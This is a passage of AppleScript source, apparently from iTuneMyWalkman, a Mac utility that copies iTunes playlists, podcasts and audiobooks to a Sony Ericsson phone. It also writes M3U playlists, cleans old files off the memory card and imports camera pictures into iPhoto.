imgs if x as string = "" then exit repeat copy x as string to end of fils copy alias (POSIX file (x as string) as string) to end of importlist end repeat end if set myvideopath to getpath(contents of default entry "cameraVideoPath" of user defaults) if myvideopath ≠ "notfound" and myvideopath ≠ "ambiguous" then set vids to shellcmd("/usr/bin/find " & (quoted form of myvideopath) & " -type f -not -name '.*'" & excludestring) repeat with x in every paragraph of vids if x as string = "" then exit repeat copy x as string to end of fils copy alias (POSIX file (x as string) as string) to end of importlist end repeat end if if fils = {} then return if myprocess = 3 then -- iPhoto -- Using a try block to see if that allows the program to run on a computer without iPhoto. -- I doubt it will help, so we might need to use this kind of syntax to mask iPhoto: -- do shell script "osascript -e 'tell application \"iPhoto\" ... '" try tell application "Finder" to set hasiphoto to exists application file id "com.apple.iPhoto" if hasiphoto then tell application "Finder" to set iphoto to name of application file id "com.apple.iPhoto" considering numeric strings if not hasiphoto or version of application iphoto < "6" then using terms from application "System Events" display alert (localized string "iPhoto 6") buttons {localized string "OK"} default button 1 end using terms from return end if end considering using terms from application "iPhoto" tell application iphoto import from importlist repeat while importing delay 1 end repeat set imported to count photos of last rolls album end tell end using terms from set num to count importlist if imported ≠ num then set sure to display dialog "iTuneMyWalkman tried to import " & num & " items to iPhoto, but your last rolls album contains " & imported & " pictures. Should iTuneMyWalkman delete the files from the memory stick or not?" buttons {localized string "Delete", localized string "Keep Files"} if button returned of sure = (localized string "Keep Files") then return end if repeat with x in fils if s60thumbs then shellcmd("/bin/rm -rf " & (quoted form of x) & "*") else shellcmd("/bin/rm -rf " & quoted form of x) end if end repeat end if on error msg log "Error trying to import to iPhoto: " & msg end try else set mymovepath to contents of default entry "moveImagesTo" of user defaults if mymovepath ≠ "notfound" and mymovepath ≠ "ambiguous" then set newdir to shellcmd("/bin/date '+%y-%m-%d\\ %H.%M.%S'") shellcmd("/bin/mkdir -p " & mymovepath & newdir) repeat with x in fils if x as string = "" then exit repeat try shellcmd("/bin/cp " & (quoted form of x) & " " & mymovepath & newdir) if s60thumbs then shellcmd("/bin/rm " & (quoted form of x) & "*") else shellcmd("/bin/rm " & quoted form of x) end if on error msg using terms from application "System Events" display alert (localized string "picture error") message msg buttons {localized string "OK"} default button 1 end using terms from end try end repeat end if end if if debugging then log "movepics ends" end movepics on getsongs() if debugging then log "getsongs begins" tell window "progress" set content of text field "status" to "Collecting data from iTunes" update end tell global musicpath, mydirlevel, mydirstruct, myincsync, myinccopy, myencoder, mybitrate, mysuffix, totalsize global filelist, filelistSrc, songlist, songlistSrc, dirlist, targetlist, targetlistSrc, tracklist, tracklistSrc, encodelist, encodelistSrc, existinglist, existinglistSrc set blocksize to 8192 set filelistSrc to {} set filelist to a reference to filelistSrc set songlist to {} set targetlistSrc to {} set targetlist to a reference to targetlistSrc set existinglistSrc to {} set existinglist to a reference to existinglistSrc set tracklistSrc to {} set tracklist to a reference to tracklistSrc set encodelistSrc to {} set encodelist to a reference to encodelistSrc set m3u to {} set totalsize to 0 set mysizelimit to contents of default entry "sizeLimit" of user defaults if mysizelimit ≤ 0 then tell application "Finder" to set mysizelimit to (free space of disk of folder (POSIX file musicpath as string)) + mysizelimit if debugging then tell me to log "free space on disk: " & mysizelimit -- Use the du (disk usage) command to subtract the potential size the music files to be removed. set myexclude to contents of default entry "dontTouch" of user defaults -- Build up the options for du to ignore the folders to not to touch. set excludestring to {} repeat with x in myexclude if x as string ≠ "" then copy "-I " & (quoted form of x) & " " to end of excludestring end repeat -- Get the size which would be freed if the music folder gets cleaned. set musicpathsize to last paragraph of shellcmd("/usr/bin/du -k -c " & excludestring & quoted form of musicpath) set musicpathsize to ((first word of musicpathsize as integer) * 1024) if debugging then tell me to log "space occupied by " & musicpath & ": " & musicpathsize -- Add that size to the available size limit. set mysizelimit to mysizelimit + musicpathsize tell window "progress" set content of progress indicator "progressbar" to 0 set maximum value of progress indicator "progressbar" to mysizelimit set indeterminate of progress indicator "progressbar" to false update end tell end if if debugging then tell me to log "size limit: " & mysizelimit copy contents of default entry "renameM4BToM4A" of user defaults to renamem4btom4a copy contents of default entry "syncMusic" of user defaults to syncmusic copy contents of default entry "syncPodcasts" of user defaults to syncpodcasts copy contents of default entry "syncAudiobooks" of user defaults to syncaudiobooks copy contents of default entry "whichPlaylists" of user defaults to whichlists copy contents of default entry "writeM3UPlaylists" of user defaults to writem3uplaylists copy contents of default entry "M3UEncoding" of user defaults to m3uencoding copy contents of default entry "M3UPathPrefix" of user defaults to m3upathprefix copy contents of default entry "M3UPathSeparator" of user defaults to m3upathseparator copy my strip(contents of default entry "playlistfolder" of user defaults, m3uencoding) to playlistfolder copy contents of default entry "fixedPodcastFolder" of user defaults to fixedpodcastfolder copy my strip(contents of default entry "podcastFolder" of user defaults, m3uencoding) to podcastfolder copy contents of default entry "fixedAudiobookFolder" of user defaults to fixedaudiobookfolder copy my strip(contents of default entry "audiobookFolder" of user defaults, m3uencoding) to audiobookfolder -- "E:/music/" and "E:/music", otherwise deleteolds() will delete "E:/music" set dirlist to {musicpath, text 1 thru -2 of musicpath} if writem3uplaylists then copy musicpath & playlistfolder to end of dirlist shellcmd("/bin/mkdir -p " & quoted form of (musicpath & playlistfolder)) shellcmd("/usr/bin/find " & quoted form of (musicpath & playlistfolder) & " -iname " & quoted form of "*.m3u" & " -exec /bin/rm -f {} " & quoted form of ";") end if if fixedpodcastfolder then copy musicpath & podcastfolder to end of dirlist if fixedaudiobookfolder then copy musicpath & audiobookfolder to end of dirlist if m3upathseparator = "" then set m3upathseparartor to "/" if m3upathprefix ≠ "" and text ((count m3upathprefix) - (count m3upathseparator) + 1) thru end of m3upathprefix ≠ m3upathseparator then -- "" and "/" => "" -- "E:" and "/" => "E:/" -- "E:/" and "/" => "E:/" set m3upathprefix to m3upathprefix & m3upathseparator end if if debugging then tell me to log "m3upathprefix: " & m3upathprefix if syncpodcasts then tell application "iTunes" set plists to a reference to (every playlist whose special kind = Podcasts) repeat with plist in plists set m3u to {} try if fixedpodcastfolder then set playlistname to podcastfolder else set playlistname to my strip(name of plist as string, m3uencoding) end if set filetracks to (a reference to (every file track of plist whose enabled = true)) repeat with x in filetracks try copy x to currenttrack copy location of x to songfile if songfile ≠ missing value and songfile is not in filelist then tell application "Finder" set songname to name of songfile as string set suffix to "." & name extension of songfile as string if renamem4btom4a and suffix = ".m4b" then set songname to text 1 thru (-1 - (count suffix)) of songname set suffix to ".m4a" set songname to songname & suffix end if end tell set howto to my whattodo(suffix, bit rate of x) if howto > -1 then if howto = 1 then set filesize to (duration of x) * mybitrate * 125 -- 125 = 1000 / 8 set songname to text 1 thru (-1 - (count suffix)) of songname & mysuffix set encoded to true else set filesize to contents of size of x set encoded to false end if if mysizelimit = 0 or (totalsize + filesize ≤ mysizelimit) then if myincsync > 0 then set played count of x to (played count of x) + myincsync set played date of x to current date end if set artistname to playlistname if artistname = "" then set artistname to "Podcast" if mydirstruct = 1 then -- artist/album/ set albumname to my strip(album of x as string, m3uencoding) if albumname = "" then set albumname to my strip(album artist of x as string, m3uencoding) if albumname = "" then set albumname to my strip(artist of x as string, m3uencoding) if albumname = "" then set albumname to artistname else if mydirstruct = 2 then -- Music/playlist/ set albumname to my strip(album of x as string, m3uencoding) if albumname = "" then set albumname to my strip(album artist of x as string, m3uencoding) if albumname = "" then set albumname to my strip(artist of x as string, m3uencoding) if albumname = "" then set albumname to artistname else -- iTuneMyWalkman/genre/ set albumname to my strip(album of x as string, m3uencoding) if albumname = "" then set albumname to my strip(album artist of x as string, m3uencoding) if albumname = "" then set albumname to my strip(artist of x as string, m3uencoding) if albumname = "" then set albumname to artistname end if if mydirlevel = 2 then -- two levels of folders copy m3upathprefix & artistname & m3upathseparator & albumname & m3upathseparator to end of m3u copy musicpath & artistname & "/" & albumname & "/" & songname to end of targetlist copy musicpath & artistname to end of dirlist copy musicpath & artistname & "/" & albumname to end of dirlist else if mydirlevel = 1 then -- one folder level copy m3upathprefix & albumname & m3upathseparator to end of m3u copy musicpath & albumname & "/" & songname to end of targetlist copy musicpath & albumname to end of dirlist else -- no folders copy m3upathprefix to end of m3u copy musicpath & songname to end of targetlist end if -- copy songname & return & linefeed to end of m3u -- the "linefeed" constant came with Leopard and is not available in Tiger, so we use this instead: copy songname & return & (ASCII character 10) to end of m3u copy songname to end of songlist copy songfile to end of filelist copy encoded to end of encodelist copy currenttrack to end of tracklist set totalsize to totalsize + (filesize + blocksize - 1) div blocksize * blocksize tell window "progress" of application "iTuneMyWalkman" set content of progress indicator "progressbar" to totalsize update end tell else if debugging then tell me to log "no space left for " & songfile & " (needs " & filesize & ", only " & mysizelimit - totalsize & " available)" if mysizelimit - totalsize ≤ 3 * 1024 * 1024 then exit repeat end if end if end if on error msg log msg end try end repeat if writem3uplaylists then tell me set m3u to "#EXTM3U" & return & (ASCII character 10) & m3u as string -- adding the #EXTM3U header set m3u to convertText(m3u, m3uencoding) set fp to open for access (POSIX file (musicpath & playlistfolder & "/" & playlistname & ".m3u")) with write permission set eof fp to 0 if m3uencoding = 1 then write m3u to fp as «class utf8» else write m3u to fp end if close access fp end tell end if on error msg log msg end try end repeat end tell end if if syncaudiobooks then tell application "iTunes" set plists to a reference to (every playlist whose special kind = Audiobooks) repeat with plist in plists set m3u to {"#EXTM3U" & return & (ASCII character 10)} try if fixedaudiobookfolder then set playlistname to audiobookfolder else set playlistname to my strip(name of plist as string, m3uencoding) end if set filetracks to (a reference to (every file track of plist whose enabled = true)) repeat with x in filetracks try copy x to currenttrack copy location of x to songfile if songfile ≠ missing value and songfile is not in filelist then tell application "Finder" set songname to name of songfile as string set suffix to "." & name extension of songfile as string if renamem4btom4a and suffix = ".m4b" then set songname to text 1 thru (-1 - (count suffix)) of songname set suffix to ".m4a" set songname to songname & suffix end if end tell set howto to my whattodo(suffix, bit rate of x) if howto > -1 then if howto = 1 then set filesize to (duration of x) * mybitrate * 125 -- 125 = 1000 / 8 set songname to text 1 thru (-1 - (count suffix)) of songname & mysuffix set encoded to true else set filesize to contents of size of x set encoded to false end if if mysizelimit = 0 or (totalsize + filesize ≤ mysizelimit) then if myincsync > 0 then set played count of x to (played count of x) + myincsync set played date of x to current date end if set artistname to playlistname if artistname = "" then set artistname to "Audiobooks" if mydirstruct = 1 then -- artist/album/ set albumname to my strip(album of x as string, m3uencoding) if albumname = "" then set albumname to my strip(album artist of x as string, m3uencoding) if albumname = "" then set albumname to my strip(artist of x as string, m3uencoding) if albumname = "" then set albumname to artistname else if mydirstruct = 2 then -- Music/playlist/ set albumname to my strip(album of x as string, m3uencoding) if albumname = "" then set albumname to my strip(album artist of x as string, m3uencoding) if albumname = "" then set albumname to my strip(artist of x as string, m3uencoding) if albumname = "" then set albumname to artistname else -- iTuneMyWalkman/genre/ set albumname to my strip(album of x as string, m3uencoding) if albumname = "" then set albumname to my strip(album artist of x as string, m3uencoding) if albumname = "" then set albumname to my strip(artist of x as string, m3uencoding) if albumname = "" then set albumname to artistname end if if mydirlevel = 2 then -- two levels of folders copy m3upathprefix & artistname & m3upathseparator & albumname & m3upathseparator to end of m3u copy musicpath & artistname & "/" & albumname & "/" & songname to end of targetlist copy musicpath & artistname to end of dirlist copy musicpath & artistname & "/" & albumname to end of dirlist else if mydirlevel = 1 then -- one folder level copy m3upathprefix & albumname & m3upathseparator to end of m3u copy musicpath & albumname & "/" & songname to end of targetlist copy musicpath & albumname to end of dirlist else -- no folders copy m3upathprefix to end of m3u copy musicpath & songname to end of targetlist end if -- copy songname & return & linefeed to end of m3u -- the "linefeed" constant came with Leopard and is not available in Tiger, so we use this instead: copy songname & return & (ASCII character 10) to end of m3u copy songname to end of songlist copy songfile to end of filelist copy encoded to end of encodelist copy currenttrack to end of tracklist set totalsize to totalsize + (filesize + blocksize - 1) div blocksize * blocksize tell window "progress" of application "iTuneMyWalkman" set content of progress indicator "progressbar" to totalsize update end tell else if debugging then tell me to log "no space left for " & songfile & " (needs " & filesize & ", only " & mysizelimit - totalsize & " available)" if mysizelimit - totalsize ≤ 3 * 1024 * 1024 then exit repeat end if end if end if on error msg log msg end try end repeat if writem3uplaylists then tell me set m3u to "#EXTM3U" & return & (ASCII character 10) & m3u as string -- adding the #EXTM3U header set m3u to convertText(m3u, m3uencoding) set fp to open for access (POSIX file (musicpath & playlistfolder & "/" & playlistname & ".m3u")) with write permission set eof fp to 0 if m3uencoding = 1 then write m3u to fp as «class utf8» else write m3u to fp end if close access fp end tell end if on error msg log msg end try end repeat end tell end if if syncmusic then if whichlists = 1 then set plists to {} tell application "iTunes" set userplaylists to a reference to (every user playlist) repeat with x in userplaylists try if (exists parent of x) and (name of parent of x begins with "iTuneMyWalkman" or name of parent of x begins with "iTMW") then copy name of x to end of plists end if if special kind of x ≠ folder and (name of x begins with "iTuneMyWalkman" or name of x begins with "iTMW") then copy name of x to end of plists end if on error msg log msg end try end repeat end tell else set plists to contents of default entry "chosenPlaylists" of user defaults end if if plists = {} then using terms from application "System Events" display alert (localized string "playlist error") message (localized string "create playlists") buttons {localized string "OK"} default button 1 end using terms from end if repeat with i from 1 to count plists repeat with j from 2 to (count plists) - i + 1 if item (j - 1) of plists > item j of plists then set tmp to item (j - 1) of plists set item (j - 1) of plists to item j of plists set item j of plists to tmp end if end repeat end repeat tell application "iTunes" set musicm3u to {} repeat with plist in plists set m3u to {} try if exists user playlist plist then if debugging then tell me to log "next playlist" set playlistname to my strip(name of user playlist plist as string, m3uencoding) set filetracks to (a reference to (every file track of user playlist plist whose enabled = true)) repeat with x in filetracks try copy x to currenttrack copy location of x to songfile if songfile ≠ missing value and songfile is not in filelist then tell application "Finder" set songname to name of songfile as string set suffix to "." & name extension of songfile as string if renamem4btom4a and suffix = ".m4b" then set songname to text 1 thru (-1 - (count suffix)) of songname set suffix to ".m4a" set songname to songname & suffix end if end tell set howto to my whattodo(suffix, bit rate of x) if howto > -1 then if howto = 1 then set filesize to (duration of x) * mybitrate * 125 -- 125 = 1000 / 8 set songname to text 1 thru (-1 - (count suffix)) of songname & mysuffix set encoded to true else set filesize to contents of size of x set encoded to false end if if mysizelimit = 0 or (totalsize + filesize ≤ mysizelimit) then if myincsync > 0 then set played count of x to (played count of x) + myincsync set played date of x to current date end if if mydirstruct = 1 then -- artist/album/ set artistname to my strip(album artist of x as string, m3uencoding) if artistname = "" then set artistname to my strip(artist of x as string, m3uencoding) if artistname = "" then set artistname to localized string "Unknown Artist" set albumname to my strip(album of x as string, m3uencoding) if albumname = "" then set albumname to localized string "Unknown Album" set discnum to disc number of x if discnum > 1 then set albumname to albumname & " " & discnum else if mydirstruct = 2 then -- Music/playlist/ set artistname to "Music" set albumname to playlistname else -- iTuneMyWalkman/genre/ set artistname to "Music" set albumname to my strip(genre of x as string, m3uencoding) if albumname = "" then set albumname to "Unknown Genre" end if if mydirlevel = 2 then -- two levels of folders copy m3upathprefix & artistname & m3upathseparator & albumname & m3upathseparator to end of m3u copy musicpath & artistname & "/" & albumname & "/" & songname to end of targetlist copy musicpath & artistname to end of dirlist copy musicpath & artistname & "/" & albumname to end of dirlist else if mydirlevel = 1 then -- one folder level copy m3upathprefix & albumname & m3upathseparator to end of m3u copy musicpath & albumname & "/" & songname to end of targetlist copy musicpath & albumname to end of dirlist else -- no folders copy m3upathprefix to end of m3u copy musicpath & songname to end of targetlist end if -- copy songname & return & linefeed to end of m3u -- the "linefeed" constant came with Leopard and is not available in Tiger, so we use this instead: copy songname & return & (ASCII character 10) to end of m3u copy songname to end of songlist copy songfile to end of filelist copy encoded to end of encodelist copy currenttrack to end of tracklist set totalsize to totalsize + (filesize + blocksize - 1) div blocksize * blocksize tell window "progress" of application "iTuneMyWalkman" set content of progress indicator "progressbar" to totalsize update end tell else if debugging then tell me to log "no space left for " & songfile & " (needs " & filesize & ", only " & mysizelimit - totalsize & " available)" if mysizelimit - totalsize ≤ 3 * 1024 * 1024 then exit repeat end if end if end if on error msg log msg end try end repeat if writem3uplaylists then tell me if debugging then tell me to log "adding to Music.m3u" copy m3u to end of musicm3u if debugging then tell me to log "Writing " & POSIX file (musicpath & playlistfolder & "/" & playlistname & ".m3u") set m3u to "#EXTM3U" & return & (ASCII character 10) & m3u as string -- adding the #EXTM3U header if debugging then tell me to log "converted to string" set m3u to convertText(m3u, m3uencoding) if debugging then tell me to log "open" set fp to open for access (POSIX file (musicpath & playlistfolder & "/" & playlistname & ".m3u")) with write permission set eof fp to 0 if debugging then tell me to log "write" if m3uencoding = 1 then write m3u to fp as «class utf8» else write m3u to fp end if close access fp end tell end if end if if debugging then tell me to log "playlist finished" on error msg log msg end try end repeat if writem3uplaylists then tell me if debugging then tell me to log "Writing Music.3mu" set musicm3u to "#EXTM3U" & return & (ASCII character 10) & musicm3u as string -- adding the #EXTM3U header set musicm3u to convertText(musicm3u, m3uencoding) set fp to open for access (POSIX file (musicpath & playlistfolder & "/Music.m3u")) with write permission set eof fp to 0 if debugging then tell me to log "write" if m3uencoding = 1 then write (musicm3u as string) to fp as «class utf8» else write (musicm3u as string) to fp end if close access fp end tell end if end tell end if if debugging then set ASTID to AppleScript's text item delimiters set AppleScript's text item delimiters to return tell me log "filelist: " & return & filelist log "targetlist: " & return & targetlist log "dirlist: " & return & dirlist log "getsongs ends" end tell set AppleScript's text item delimiters to ASTID end if end getsongs on deleteolds() if debugging then log "deleteolds begins" tell window "progress" set content of text field "status" to "Cleaning up memory card" set content of progress indicator "progressbar" to 0 set indeterminate of progress indicator "progressbar" to true update end tell global musicpath, dirlist, targetlist, theexcludestring, existinglist set myexclude to contents of default entry "dontTouch" of user defaults set excludestring to {} repeat with x in myexclude if x as string ≠ "" then copy " -not -iname " & (quoted form of x) & " -not -ipath " & quoted form of ("*/" & x & "/*") to end of excludestring end repeat set dirs to shellcmd("/usr/bin/find " & (quoted form of text 1 thru -2 of musicpath) & " -type d" & excludestring) set counter to 0 tell window "progress" set maximum value of progress indicator "progressbar" to (count of paragraphs of dirs) * 2 set indeterminate of progress indicator "progressbar" to false update end tell repeat with x in every paragraph of dirs if x as string = "" then exit repeat if x is not in dirlist then if debugging then log "deleting unneeded directory: " & x shellcmd("/bin/rm -rf " & quoted form of x) end if set counter to counter + 1 tell window "progress" set content of progress indicator "progressbar" to counter update end tell end repeat tell window "progress" set content of progress indicator "progressbar" to 0 set indeterminate of progress indicator "progressbar" to true update end tell set fils to shellcmd("/usr/bin/find " & (quoted form of text 1 thru -2 of musicpath) & " -type f -not -iname " & (quoted form of "*.m3u") & excludestring) set counter to (count of paragraphs of fils) tell window "progress" set maximum value of progress indicator "progressbar" to counter * 2 set content of progress indicator "progressbar" to counter set indeterminate of progress indicator "progressbar" to false update end tell repeat with x in every paragraph of fils if x as string = "" then exit repeat if x is in targetlist then copy x as string to the end of existinglist else if debugging then log "deleting unneeded file: " & x shellcmd("/bin/rm -f " & quoted form of x) end if set counter to counter + 1 tell window "progress" set content of progress indicator "progressbar" to counter update end tell end repeat if debugging then tell me to log "Existing:" & return & existinglist if debugging then log "deleteolds ends" end deleteolds on putsongs() if debugging then log "putsongs begins" global pos, musicpath, songlist, dirlist, total set total to count songlist tell window "progress" set content of text field "status" to "Transferring songs" set maximum value of progress indicator "progressbar" to total set indeterminate of progress indicator "progressbar" to false set content of progress indicator "progressbar" to 0 update end tell set pos to 1 set stage to "copy" if debugging then log "putsongs ends" end putsongs on copynext() global copying, musicpath, pos, mydirlevel, mydirstruct, myincsync, myinccopy, filelist, songlist, targetlist, tracklist, encodelist, total, copied, copiedsize, notcopied, existinglist set wasfound to true if copying ≠ true then set copying to true try if pos ≤ total then tell window "progress" set content of text field "song" to item pos of songlist update end tell set wasfound to (item pos of targetlist) is in existinglist with timeout of 3600 seconds if not wasfound then if not item pos of encodelist then -- just copy tell application "Finder" to set thesize to size of (item pos of filelist) try shellcmd("target=" & quoted form of item pos of targetlist & "; /bin/mkdir -p \"${target%/*}\"; /bin/cp " & (quoted form of POSIX path of (item pos of filelist)) & " \"$target\"") set copied to copied + 1 if thesize ≠ missing value then set copiedsize to copiedsize + thesize if myinccopy > 0 then tell application "iTunes" set played count of item pos of tracklist to (played count of item pos of tracklist) + myinccopy set played date of item pos of tracklist to current date end tell end if on error msg log msg set notcopied to notcopied + 1 try shellcmd("/bin/rm -f " & quoted form of item pos of targetlist) on error msg2 log msg2 end try end try else -- reencode, then copy tell application "iTunes" set encodedtracks to convert item pos of tracklist set encodedfile to location of item 1 of encodedtracks end tell tell application "Finder" to set thesize to size of encodedfile try shellcmd("target=" & quoted form of item pos of targetlist & "; /bin/mkdir -p \"${target%/*}\"; /bin/cp " & (quoted form of POSIX path of encodedfile) & " \"$target\"") set copied to copied + 1 if thesize ≠ missing value then set copiedsize to copiedsize + thesize if myinccopy > 0 then tell application "iTunes" set played count of item pos of tracklist to (played count of item pos of tracklist) + myinccopy set played date of item pos of tracklist to current date end tell end if on error msg log msg set notcopied to notcopied + 1 try shellcmd("/bin/rm -f " & quoted form of item pos of targetlist) on error msg2 log msg2 end try end try tell application "iTunes" to delete item 1 of encodedtracks try shellcmd("/bin/rm -f " & quoted form of POSIX path of encodedfile) on error msg2 log msg2 end try end if else if debugging then log "skipping " & item pos of songlist end if end timeout tell window "progress" set content of progress indicator "progressbar" to pos update end tell set pos to pos + 1 else set stage to "finishing" if debugging then tell me to log "not copied due to error: " & notcopied cleanup() end if on error msg log msg end try set copying to false else if debugging then log "second idle thread ..." end if if wasfound then return 0 else return 1 end if end copynext on cleanup() global myencoder, musicpath, copied, total, copiedsize, totalsize, notcopied, oldenc, starttime tell window "progress" set content of text field "status" to "Cleaning up" set content of text field "song" to "" set indeterminate of progress indicator "progressbar" to true update end tell try shellcmd("/usr/bin/find " & (quoted form of musicpath) & " -name '.DS_Store' -exec rm {} \\;") end try try shellcmd("/usr/bin/find " & (quoted form of musicpath) & " -name '._*' -exec rm {} \\;") end try if myencoder ≠ 1 then tell application "iTunes" to set current encoder to oldenc set duration to (current date) - starttime set mydone to contents of default entry "synchronizationComplete" of user defaults if mydone = 2 then -- Ask using terms from application "System Events" set themessage to localized string "Copied" & " " & copied & " / " & total & " " & (localized string "tracks" & " (" & (copiedsize * 10 / 1024 div 1024 / 10) & " " & (localized string "MB" & " / " & (totalsize * 10 / 1024 div 1024 / 10) & " " & (localized string "MB" & ")"))) if notcopied ≠ 0 then set themessage to themessage & return & (localized string "Warning" & ": " & notcopied & " " & (localized string "files could not be copied.")) set unmount to button returned of (display alert (localized string "complete") message themessage buttons {localized string "Don't Unmount", localized string "Unmount"}) if unmount = (localized string "Unmount") then tell application "Finder" to eject disk of folder (POSIX file musicpath as string) end if end using terms from end if if mydone = 3 then -- Beep beep else if mydone = 4 then -- Spean notification say "iTuneMyWalkman synchronization complete" else if mydone = 5 then -- Unmount phone tell application "Finder" to eject disk of folder (POSIX file musicpath as string) else if mydone = 6 then -- Unmount phone & beep tell application "Finder" to eject disk of folder (POSIX file musicpath as string) beep else if mydone = 7 then -- Unmount phone & speak notification tell application "Finder" to eject disk of folder (POSIX file musicpath as string) say "iTuneMyWalkman synchronization complete" end if set stage to "done" hide window "progress" end cleanup -- HELPER FUNCTIONS on getpath(path) try set dir to shellcmd("/bin/ls -d " & path) on error return "notfound" end try if dir = "" then return "notfound" if dir contains return then return "ambiguous" return dir end getpath on strip(theText, encoding) if encoding = 1 or theText = "" then return theText else if encoding = 2 then return tcl("strip.tcl", {"iso8859-1", theText}) end if end strip on convertText(theText, encoding) if encoding = 1 or theText = "" then return theText else if encoding = 2 then return tcl("encoding.tcl", {"iso8859-1", theText}) end if end convertText on tcl(tclscript, arglist) set args to "" repeat with arg in arglist set args to args & " " & quoted form of arg end repeat if debugging then log "Running tcl script: " & tclscript & args set tclscript to quoted form of POSIX path of ((path to me) & "Contents:Resources:" & tclscript as string) tell me to return do shell script "/usr/bin/tclsh " & tclscript & args end tcl on shellcmd(cmd) if debugging then log "Running shell command: " & cmd tell me to return do shell script cmd end shellcmd on whattodo(filetype, bitrate) global myencoder, myfiletypelimits set myfiletypelimitsref to a reference to myfiletypelimits repeat with x in myfiletypelimitsref if item 1 of x = filetype then if myencoder ≠ 1 and bitrate > item 2 of x then return 1 -- re-encode else return 0 -- copy end if end if end repeat return -1 -- ignore file end whattodo on updateballs() set greenball to load image "green.gif" set redball to load image "red.gif" if scriptsinstalled() then set image of image view "scriptson" of window "main" to greenball else set image of image view "scriptson" of window "main" to redball end if tell application "System Events" to set ison to folder actions enabled if ison and fainstalled() then set image of image view "faon" of window "main" to greenball else set image of image view "faon" of window "main" to redball end if end updateballs on scriptsinstalled() set scriptdir to POSIX path of ((path to library folder from user domain as string) & "iTunes:Scripts:") try shellcmd("/bin/test -f " & quoted form of (scriptdir & "iTMW - Increment Play Count.scpt")) shellcmd("/bin/test -f " & quoted form of (scriptdir & "iTMW - Preferences.scpt")) shellcmd("/bin/test -f " & quoted form of (scriptdir & "iTMW - Synchronize.scpt")) shellcmd("/bin/test -f " & quoted form of (scriptdir & "iTMW - Unmount Phone.scpt")) on error return false end try return true end scriptsinstalled on fainstalled() tell application "System Events" to set actionlist to attached scripts folder "Volumes" of startup disk tell application "Finder" repeat with x in actionlist if name of x = "iTMW - Detect Phone.scpt" then return true end repeat end tell return false end fainstalled on showprefs() tell tab view "prefs" of window "prefs" tell tab view item "general" set contents of text field "musicpath" of box "music" to (contents of default entry "musicPath" of user defaults of me) set current menu item of popup button "phonedetected" to menu item (contents of default entry "phoneDetected" of user defaults of me) of popup button "phonedetected" set content of button "confirmation" to contents of default entry "askForConfirmation" of user defaults of me set content of button "updates" to contents of default entry "SUCheckAtStartup" of user defaults of me set current menu item of popup button "endsync" to menu item (contents of default entry "synchronizationComplete" of user defaults of me) of popup button "endsync" set contents of text field "sizelimit" to (contents of default entry "sizeLimit" of user defaults of me) / 1024 div 1024 end tell tell tab view item "playlists" set content of button "syncmusic" to contents of default entry "syncMusic" of user defaults of me set content of button "syncpodcasts" to contents of default entry "syncPodcasts" of user defaults of me set content of button "syncaudiobooks" to contents of default entry "syncAudiobooks" of user defaults of me set current row of matrix "whichlists" to contents of default entry "whichPlaylists" of user defaults of me set content of button "writem3uplaylists" to contents of default entry "writeM3UPlaylists" of user defaults of me set current menu item of popup button "m3uencoding" to menu item (contents of default entry "M3UEncoding" of user defaults of me) of popup button "m3uencoding" set content of text field "m3upathseparator" to contents of default entry "M3UPathSeparator" of user defaults of me set content of text field "m3upathprefix" to contents of default entry "M3UPathPrefix" of user defaults of me set chosenlists to contents of default entry "chosenPlaylists" of user defaults of me set checkedlist to {} tell application "iTunes" to set alllists to a reference to name of every user playlist repeat with x in alllists if x is in chosenlists then copy {true, x} to end of checkedlist else copy {false, x} to end of checkedlist end if end repeat set contents of table view "playlists" of scroll view "playlists" to checkedlist end tell tell tab view item "folders" set current menu item of popup button "dirlevel" to menu item ((contents of default entry "numberOfDirectoryLevels" of user defaults of me) + 1) of popup button "dirlevel" set current menu item of popup button "dirstructure" to menu item (contents of default entry "directoryStructure" of user defaults of me) of popup button "dirstructure" set content of text field "playlistfolder" to content of default entry "playlistFolder" of user defaults of me set content of button "fixedpodcastfolder" to content of default entry "fixedPodcastFolder" of user defaults of me set content of text field "podcastfolder" to content of default entry "podcastFolder" of user defaults of me set content of button "fixedaudiobookfolder" to content of default entry "fixedAudiobookFolder" of user defaults of me set content of text field "audiobookfolder" to content of default entry "audiobookFolder" of user defaults of me set od to text item delimiters of AppleScript set text item delimiters of AppleScript to {":"} set contents of text field "excludelist" to (contents of default entry "dontTouch" of user defaults of me) as string set text item delimiters of AppleScript to od end tell tell tab view item "playcount" set contents of text field "ionsync" to (contents of default entry "incrementPlayCountOnSync" of user defaults of me) set contents of text field "ioncopy" to (contents of default entry "incrementPlayCountOnCopy" of user defaults of me) end tell tell tab view item "encode" set current menu item of popup button "encoder" of box "encoderbox" to menu item (contents of default entry "reencoder" of user defaults of me) of popup button "encoder" of box "encoderbox" set contents of button "renamem4btom4a" of box "encoderbox" to contents of default entry "renameM4BToM4A" of user defaults of me set filetypelist to contents of default entry "fileTypes" of user defaults of me set bitratelist to contents of default entry "fileBitRateLimits" of user defaults of me set contentlist to {} repeat with i from 1 to count filetypelist copy {item i of filetypelist, item i of bitratelist} to end of contentlist end repeat set contents of table view "filetypes" of scroll view "filetypes" to contentlist end tell tell tab view item "camera" set current menu item of popup button "movepics" to menu item (contents of default entry "processCameraImages" of user defaults of me) of popup button "movepics" set contents of text field "movepath" of box "move" to (contents of default entry "moveImagesTo" of user defaults of me) set contents of text field "imagepath" of box "image" to (contents of default entry "cameraImagePath" of user defaults of me) set contents of text field "videopath" of box "video" to (contents of default entry "cameraVideoPath" of user defaults of me) set content of button "s60thumbs" to contents of default entry "handleS60Thumbnails" of user defaults of me end tell end tell show window "prefs" end showprefs on initprefs() tell user defaults make new default entry at end of default entries with properties {name:"musicPath", contents:"/Volumes/*/MSSEMC/Media\\ files/audio/"} make new default entry at end of default entries with properties {name:"videoPath", contents:"/Volumes/*/MSSEMC/Media\\ files/video/"} make new default entry at end of default entries with properties {name:"phoneDetected", contents:2} make new default entry at end of default entries with properties {name:"askForConfirmation", contents:true} make new default entry at end of default entries with properties {name:"SUCheckAtStartup", contents:false} make new default entry at end of default entries with properties {name:"syncMusic", contents:true} make new default entry at end of default entries with properties {name:"syncPodcasts", contents:true} make new default entry at end of default entries with properties {name:"syncAudiobooks", contents:true} make new default entry at end of default entries with properties {name:"synchronizationComplete", contents:2} make new default entry at end of default entries with properties {name:"sizeLimit", contents:0} make new default entry at end of default entries with properties {name:"directoryStructure", contents:1} make new default entry at end of default entries with properties {name:"playlistFolder", contents:""} make new default entry at end of default entries with properties {name:"fixedPodcastFolder", contents:false} make new default entry at end of default entries with properties {name:"podcastFolder", contents:""} make new default entry at end of default entries with properties 